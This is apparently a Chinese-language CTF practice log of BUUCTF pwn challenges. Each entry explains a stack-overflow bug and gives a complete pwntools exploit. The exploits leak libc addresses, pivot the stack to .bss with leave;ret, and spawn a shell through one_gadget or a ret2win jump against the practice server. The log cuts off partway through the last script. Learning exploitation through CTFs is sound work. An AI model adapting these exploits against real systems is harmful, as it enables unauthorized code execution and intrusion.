2021-08-30 BUUCTF刷题记录
刷题数量:13
题目分类:栈溢出、堆、pwn基础
文章目录
[Black Watch 入群题]PWN
0x00 题目描述
Black Watch 入群题
PWN
0x01 分析思路
IDA拖进去看整体功能:
分析后,可以看到的漏洞
- 栈溢出(读入32字节存入24的数组,溢出8字节)
刚开始,我也疑惑,这8字节放payload空间不够呀,怎么办?
后面看了看前辈的wp,还利用了前面的.bss段,具体思路:
- 泄露libc
- 通过.bss段写入要运行的payload
- 通过8字节构造一个短payload运行.bss代码
- getshell
- one_gadget
这边涉及了一些前置知识:
leave;ret;
的gadget有什么用?
leave相当于汇编代码
mov rsp,rbp
pop rbp
相当于将当前栈顶指向了rbp的地址,然后弹出rbp一段代码为EIP(x64为8位)
如果我们把.bss地址设置为rbp,并且将payload写入.bss地址,运行这段代码
payload=b"a"*(0x18)#溢出
payload+=p32(s_addr-4)#rbp
payload+=p32(leave_ret)#ret地址
我们会先执行溢出修改的gadgetleave_ret
地址,然后rbp设置为s_addr-4
动态流程:
asm:
mov rsp,rbp
pop rbp
ret
rsp=rbp
EIP=rbp+4(弹出一段4字节)的内存数据
ret (相当于 jmp EIP)
执行后,就相当于将程序返回(跳转)到了.bss的代码段,然后就执行写入.bss段的payload。
0x02 EXP
整体思路
- 写入payload到.bss
- 用
leave
特性将代码跳转到.bss段- 泄露lib
- getshell
tips:
- 无法getshell试试
- 是不是libc的问题(本地与远程不一样)
- 换一种方式(system、其他gadget)
from pwn import *
context.log_level="debug"
#context.arch="i386"
name="/root/spwn"
p =remote("node4.buuoj.cn",25182)
elf=ELF(name)
main_addr=elf.sym['main']
read_got=elf.got["read"]
write_plt=elf.plt['write']
pause()
payload=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
#多试试 puts不行就write
p.sendafter(b'What is your name?',payload)
s_addr=0x0804A300
leave_ret=0x08048408 #: leave ; ret
payload=b"a"*(0x18)#24(buf)
payload+=p32(s_addr-4)
payload+=p32(leave_ret)
"""
leave=
mov rsp,rbp(rsp指向了.bss段)
pop rbp
pop eip(弹出的是.bss段的代码)
ret:
"""
#rop 正常
#payload+=p32(puts_plt)+p32(read_got)
p.sendafter(b'?',payload)#\n算1字节
leak=u32(p.recv(4))
libc=ELF("./x86/libc-2.23_buuctf.so")
libc_base=leak-libc.sym['read']
"""
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
esi is the GOT address of libc
[esp+0x28] == NULL
"""
one_gadget=libc_base+0x3a80c
get=p32(one_gadget)+p32(main_addr)
p.sendafter(b"?",get)
p.sendafter(b"?",payload)
#p.sendlineafter(b'?',payload)
p.interactive()#W3lcAm3_t0_Bw
ez_pz_hackover_2016
0x00 题目描述
hackerover 2016
0x01 题目分析
IDA拖进去静态分析:
大概分析程序主要的逻辑
strcmp
比较我们输入的字符是否为crashme
- 将输入的字符传入
vuln
函数
此题没有后门,所以我们只能利用栈溢出之类的漏洞进行ROP泄露地址
在vuln可以看到如果我们数据大小大于50就可造成栈溢出,很明显调用时传入1024长度就是栈溢出了。
如何过strcmp的同时还传入payload?
这边有一个前置知识,strlen()会遇到
\x00
字符截断,但其他的输入函数不会
我们利用这个特性,可以过掉strcmp,随后后门构造栈溢出的rop传给vuln完成泄露libc、getshell
0x02 思路
整体思路:
- 泄露libc
- getshell
给广大初学者说的话:
- CTF虽然有很多的基础知识理论,但大多需要自己亲自去手动尝试,具体情况具体分析(偏向手动实验),不能太执着于学到的理论知识,需要保持一颗开放的好奇心。最主要是多自己手动动态调试才知道每一步是怎么运行的。
0x03 EXP
from pwn import *
context.log_level="debug"
context.arch="i386"
name="/root/ez_pz_hackover_2016"
p =remote("node4.buuoj.cn",27260)
elf=ELF(name)
libc=ELF("./x86/libc-2.23_buuctf.so")
main_addr=elf.sym['main']
goodgame=0x0000000000400620
printf_plt=elf.plt["printf"]
ptf_got=elf.got["printf"]
main_addr=elf.sym['main']
payload=b"crashme\x00"#过strcmp
payload+=b"a"*18+p32(printf_plt)+p32(main_addr)+p32(ptf_got)
"""
\x00可越过 strlen、strcmp
具体 动态调试确定
"""
pause()
p.sendlineafter("> ",payload)
p.recvuntil("crashme")
p.recvuntil("\n")
recvraw=p.recv(4)
leak_addr=u32(recvraw)
print("leak_addr : {}".format(hex(leak_addr)))
libc_base=leak_addr-libc.sym['printf']
one_gadget=libc_base+0x3a80c
#one_gadget getshell
payload=b"crashme\x00"
payload+=b"a"*18+p32(one_gadget)+p32(main_addr)+b"\x00"*90
p.sendlineafter("> ",payload)
p.interactive()
jarvisoj_tell_me_something
0x00 题目描述
浙大OJ的tell_me_something
0x01 题目分析
IDA进去,静态分析:
那么假设的整体思路:
- 构造栈溢出返回到gg函数gg
0x02 EXP
from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/guestbook"
p =remote("node4.buuoj.cn",26720)
elf=ELF(name)
main_addr=elf.sym['main']
goodgame=0x0000000000400620
#main不用rbp??
payload=b"a"*(0x88)+p64(goodgame)+p64(main_addr)
pause()
p.sendlineafter(":\n",payload)
p.interactive()
Jarvisoj_level3
0x00 题目描述
[[Jarvisoj]]:浙大_OJ
level3
0x01 题目思路
拖进IDA
MAIN:
分析一下,很明显有栈溢出
的漏洞
接下来,这类题的套路:
- 构造payload泄露libc地址
- getshell
0x02 EXP
整体思路
- 栈溢出泄露libc
- getshell
注意的点:
- (x86)返回地址放call之后(参数前),程序会将下一个地址识别为返回地址(即ebp)
from pwn import *
context.log_level="debug"
context.arch="i386"
name="/root/level3"
p = remote("node4.buuoj.cn",29197)
libc=ELF("./x86/libc-2.23_buuctf.so")
#p=process(name)#
elf=ELF(name)
read_got=elf.got['read']
main_addr=elf.sym['main']
write_plt=elf.plt['write']
payload=b"a"*(0x88+4)
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
#返回地址放call之后(参数前),程序会将下一个地址识别为返回地址(即ebp)
sleep(0.2)
p.sendlineafter(b"Input:\n",payload)#leak
sleep(0.2)
leak_addr=p.recv(4).ljust(4,b"\x00")
print